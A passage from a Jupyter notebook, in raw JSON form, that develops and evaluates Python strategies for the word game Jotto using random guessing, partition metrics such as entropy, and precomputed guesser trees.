"One simple guesser function is `random_guesser`: from the remaining consistent targets, pick one at random. That sounds hopelessly naive, but it is actually a decent strategy:"
]
},
{
"cell_type": "code",
"execution_count": 5,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Guess 1: delis, Reply: 3, Consistent targets: 410\n",
"Guess 2: coeds, Reply: 2, Consistent targets: 210\n",
"Guess 3: dirts, Reply: 2, Consistent targets: 97\n",
"Guess 4: veldt, Reply: 2, Consistent targets: 44\n",
"Guess 5: adieu, Reply: 2, Consistent targets: 17\n",
"Guess 6: child, Reply: 5, Consistent targets: 1\n"
]
},
{
"data": {
"text/plain": [
"6"
]
},
"execution_count": 5,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"def random_guesser(_, targets) -> str: return random.choice(targets)\n",
"\n",
"play_jotto(random_guesser, verbose=True)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Evaluating Guessers\n",
"\n",
"That was just one sample game. How well will this guesser do averaged over all target words? The function `play_jottos` plays a game against every target and collects the scores. Then, `show` displays a histogram and the mean, standard deviation, and worst case number of guesses. "
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [],
"source": [
"def play_jottos(guesser, targets=wordlist) -> List[int]:\n",
" \"\"\"Scores for this guesser on all targets.\"\"\"\n",
" return [play_jotto(guesser, lambda _: target, wordlist, verbose=False)\n",
" for target in targets]\n",
" \n",
"def show(scores: List[int]):\n",
" \"\"\"Show a histogram and statistics for these scores.\"\"\"\n",
" bins = range(min(scores), max(scores) + 2)\n",
" plt.hist(scores, align='left', rwidth=0.9, bins=bins,\n",
" weights=[100 / len(scores) for _ in scores])\n",
" plt.xticks(bins[:-1])\n",
" plt.xlabel('Number of guesses to find target'); plt.ylabel('% of targets')\n",
" print(f'mean = {mean(scores):.2f} ± {stdev(scores):.2f} guesses; worst = {max(scores)}')"
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 7.32 ± 1.66 guesses; worst = 16\n"
]
},
{
"data": {
"image/png": "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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"show(play_jottos(random_guesser))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The average is a bit more than 7 guesses; 2/3 of the time it will take from 6 to 9 guesses, and the worst case is 18 guesses. Can we improve the average and/or worst case?\n",
"\n",
"# Guessers that Partition Targets\n",
"\n",
"A key idea in guessing is to reduce the number of consistent targets. We can think of a guess as **partitioning** the consistent targets into different **branches** of a tree, each branch corresponding to a different reply:"
]
},
{
"cell_type": "code",
"execution_count": 8,
"metadata": {},
"outputs": [],
"source": [
"def partition(guess, targets) -> Dict[Reply, List[str]]:\n",
" \"\"\"A partition of targets by the possible replies to guess: {reply: [word, ...]}.\"\"\"\n",
" branches = defaultdict(list)\n",
" for target in targets:\n",
" branches[reply_for(target, guess)].append(target)\n",
" return branches"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"It would take too much space to show a partition of all 2,845 words, so here's a partition of just the first 22 words:"
]
},
{
"cell_type": "code",
"execution_count": 9,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"defaultdict(list,\n",
" {4: ['their', 'might'],\n",
" 1: ['about', 'sword', 'resay', 'nuder', 'house'],\n",
" 0: ['would', 'cloud', 'place', 'sound', 'fondu'],\n",
" 3: ['throe', 'write', 'rifts', 'think', 'grate'],\n",
" 2: ['water', 'after', 'ethos', 'while'],\n",
" 5: ['girth']})"
]
},
"execution_count": 9,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"partition('girth', wordlist[:22])"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We see that after guesssing `'girth'` we will be left with no more than five consistent targets, no matter what the reply.\n",
"\n",
"To decide which guess is best, we don't need to know the identity of all the words in each branch, just the *count* of how many there are. The function `partition_counts` computes that, returning a list of counts, one for each possible reply:"
]
},
{
"cell_type": "code",
"execution_count": 10,
"metadata": {},
"outputs": [],
"source": [
"def partition_counts(guess, targets) -> List[int]: \n",
" \"A partition: {reply: number_of_targets_with_reply, ...}.\"\n",
" counts = Counter(reply_for(guess, target) for target in targets)\n",
" return [counts[i] for i in all_possible_replies]\n",
"\n",
"all_possible_replies = range(6)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Below are the partition counts for two possible first guesses, `ouija` and `coder`:"
]
},
{
"cell_type": "code",
"execution_count": 11,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"[175, 1848, 755, 65, 1, 1]"
]
},
"execution_count": 11,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"partition_counts('ouija', wordlist)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We see that for the guess `'ouija'`, 1848 consistent targets (about 2/3 of the word list) are bunched into one branch, meaning that 2/3 of the time you will be left with 1848 targets after guessing `'ouija'`. (*Note:* Why is this so? Because `'ouija'` has all the vowels except `'e'`, and about 2/3 of the words have exactly one of these vowels, so the reply for those words is 1. Only one other word, `'audio'`, has these four vowels. Only 56 words have a `'j'`, so that is not a major factor.)"
]
},
{
"cell_type": "code",
"execution_count": 12,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"[433, 1030, 1014, 327, 40, 1]"
]
},
"execution_count": 12,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"partition_counts('coder', wordlist)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"For the guess `'coder'`, the targets are more spread out over multiple branches. After guessing `'coder'` you will never be left with more than 1030 consistent targets. That suggests that `'coder'` is a better first guess, and it suggests a general strategy: **guess the word that best partitions the consistent targets into small branches.**\n",
"\n",
"What's a good metric for measuring how **small** the branches are? What we really want to know is how many additional guesses it will take to handle each branch, but since we don't know that, we can use one of the following proxy metrics:\n",
"\n",
"- A simple metric is to **minimize the maximum number in the partition counts**. That is, we should deduce that `coder`, with its `max` partition count of 1030, is a better guess than `ouija`, with its `max` of 1848. \n",
"\n",
"- A more sophisticated metric is to **minimize the expected value of the partition counts**: in probability theory the expected value or **expectation** is the weighted average of a random variable. Here it means the sum, over all branches, of the size of the branch multiplied by the probability of ending up in the branch.\n",
"\n",
"- Information theory provides a suggestion to **maximize the entropy in the partition counts**. Entropy is similar to expectation, except that it weights each branch size by its base 2 logarithm (whereas expectation weights it by its actual size). Note that we want to minimize *negative* entropy."
]
},
{
"cell_type": "code",
"execution_count": 13,
"metadata": {},
"outputs": [],
"source": [
"def expectation(counts) -> float:\n",
" \"Given a list of counts, give the expected count.\"\n",
" def P(x, scale=1/sum(counts)): return scale * x\n",
" return sum(P(x) * x for x in counts)\n",
"\n",
"def entropy(counts) -> float: \n",
" \"\"\"Information theoretic entropy of a list of counts.\"\"\"\n",
" def P(x, scale=1/sum(counts)): return scale * x\n",
" return - sum(P(x) * log(P(x), 2) for x in counts if x)\n",
"\n",
"def negative_entropy(counts) -> float: return - entropy(counts)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Here are the top 10 guesses according to each of the three metrics:"
]
},
{
"cell_type": "code",
"execution_count": 14,
"metadata": {},
"outputs": [],
"source": [
"def top(metric, n=10, words=wordlist) -> str: \n",
" \"\"\"The top n words according to metric(partition_counts(w, words)).\"\"\"\n",
" return ' '.join(sorted(words, key=lambda w: metric(partition_counts(w, words)))[:n])"
]
},
{
"cell_type": "code",
"execution_count": 15,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'wader cadre armed diner coder padre rayed raved delta drone'"
]
},
"execution_count": 15,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"top(max) # minimize the maximum number"
]
},
{
"cell_type": "code",
"execution_count": 16,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'raved debar roved orbed wader armed fader dater alder cadre'"
]
},
"execution_count": 16,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"top(expectation) # minimize the expectation"
]
},
{
"cell_type": "code",
"execution_count": 17,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"'debar alder raved dater cadre armed garde wader lased padre'"
]
},
"execution_count": 17,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"top(negative_entropy) # maximize the entropy (by minimizing negative entropy)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The three metrics yield a lot of overlap; `wader`, `raved`, `armed` and `cadre` appear in the top 10 for all three. Every word has both a `'d'` and an `'e'`, and 28 out of 30 have an `'r'`. Which metric is best? We have the tools to answer that: we could use `play_jottos` to get scores for guessers that use each metric. But that would take a long time. It takes about 5 seconds to compute the `top` word for just the first guess; I don't want to repeat that computation 3 × 2,845 times (and that's just for choosing the first word)."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Guesser Trees \n",
"\n",
"I can speed up computation by precomputing a **guesser tree**: a tree that keeps partitioning target words into branches until every branch holds a single word (we call that a leaf). Think of the tree as a universal strategy that we can apply to every target word with no need for additional computation—just branch-following in the tree. I define a guesser tree as either:\n",
"- A **leaf**, which is a string, such as `'coder'`, indicating that this is the sole remaining consistent target. Every word in the word list should appear as a leaf in exactly one place in the guesser tree.\n",
"- An **interior node**, which is a tuple of a guess and a dict of branches, `(guess, {reply: subtree, ...})`, where the reply is an integer, 0 to 5, and each subtree covers all the target words that are consistent with that reply."
]
},
{
"cell_type": "code",
"execution_count": 18,
"metadata": {},
"outputs": [],
"source": [
"Leaf = str\n",
"Node = Tuple[str, Dict[Reply, 'Tree']]\n",
"Tree = Union[Leaf, Node] # A Tree is a Node or a Leaf\n",
"GUESS, BRANCHES = 0, 1 # Indexes into a Node tuple"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The function `make_tree(metric, targets)` builds a tree that covers all the targets and that, at every node, guesses a word that minimizes the `metric` applied to the `partition_counts` of the guess."
]
},
{
"cell_type": "code",
"execution_count": 19,
"metadata": {},
"outputs": [],
"source": [
"def make_tree(metric, targets=wordlist) -> Tree:\n",
" \"\"\"Make a tree that guesses to minimize metric(partition_counts(guess, targets)).\"\"\"\n",
" if len(targets) == 1:\n",
" return targets[0]\n",
" else:\n",
" guess = min(targets, key=lambda guess: metric(partition_counts(guess, targets))) \n",
" branches = partition(guess, targets)\n",
" return (guess, {reply: make_tree(metric, branches[reply]) \n",
" for reply in sorted(branches)})"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Here is a tree that covers five words by always making the guess that minimizes the **maximum** number in the partition counts:"
]
},
{
"cell_type": "code",
"execution_count": 20,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"('bites',\n",
" {1: ('purge', {1: ('sulky', {1: 'hayed', 5: 'sulky'}), 5: 'purge'}),\n",
" 2: 'patsy',\n",
" 5: 'bites'})"
]
},
"execution_count": 20,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"words5 = ['purge', 'bites', 'sulky', 'patsy', 'hayed']\n",
"tree5 = make_tree(max, words5)\n",
"tree5"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The tree says that the first guess is `'bites'`, and if the reply is `1` there is a complex subtree to consider (starting with the guess `'purge'`), but if the reply is `2` the target can only be `'patsy'` and of course if the reply is `5` then `'bites'` was the target."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Turning a Tree into a Callable Guesser\n",
"\n",
"Now that we've made a tree, we need to use it as a component of a guesser that `play_jotto` can call upon. A `TreeGuesser` is an object that stores a tree in the `self.root` and `self.tree` attributes, and while the game is being played, it follows branches in the tree, choosing the guess indicated at each node. This is done within the `__call__` method, because `play_jotto` expects a callable. Note that on the first turn of a new game the reply will be `None`, in which case we reset `self.tree` to be the root tree. For subsequent turns, we follow the branch indicated by the reply. "
]
},
{
"cell_type": "code",
"execution_count": 21,
"metadata": {},
"outputs": [],
"source": [
"class TreeGuesser:\n",
" \"\"\"Given a guesser tree, use it to create a callable that can play_jotto.\"\"\"\n",
" def __init__(self, tree): self.root = self.tree = tree\n",
" \n",
" def __call__(self, reply, _) -> str:\n",
" self.tree = self.root if reply is None else self.tree[BRANCHES][reply]\n",
" return self.tree if isinstance(self.tree, str) else self.tree[GUESS]"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Here's how we play a game with the five-word list:"
]
},
{
"cell_type": "code",
"execution_count": 22,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Guess 1: bites, Reply: 1, Consistent targets: 3\n",
"Guess 2: purge, Reply: 1, Consistent targets: 2\n",
"Guess 3: sulky, Reply: 1, Consistent targets: 1\n",
"Guess 4: hayed, Reply: 5, Consistent targets: 1\n"
]
},
{
"data": {
"text/plain": [
"4"
]
},
"execution_count": 22,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"play_jotto(TreeGuesser(tree5), wordlist=words5, verbose=True)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"And here we build a tree over the whole word list and use it to play a game:"
]
},
{
"cell_type": "code",
"execution_count": 23,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
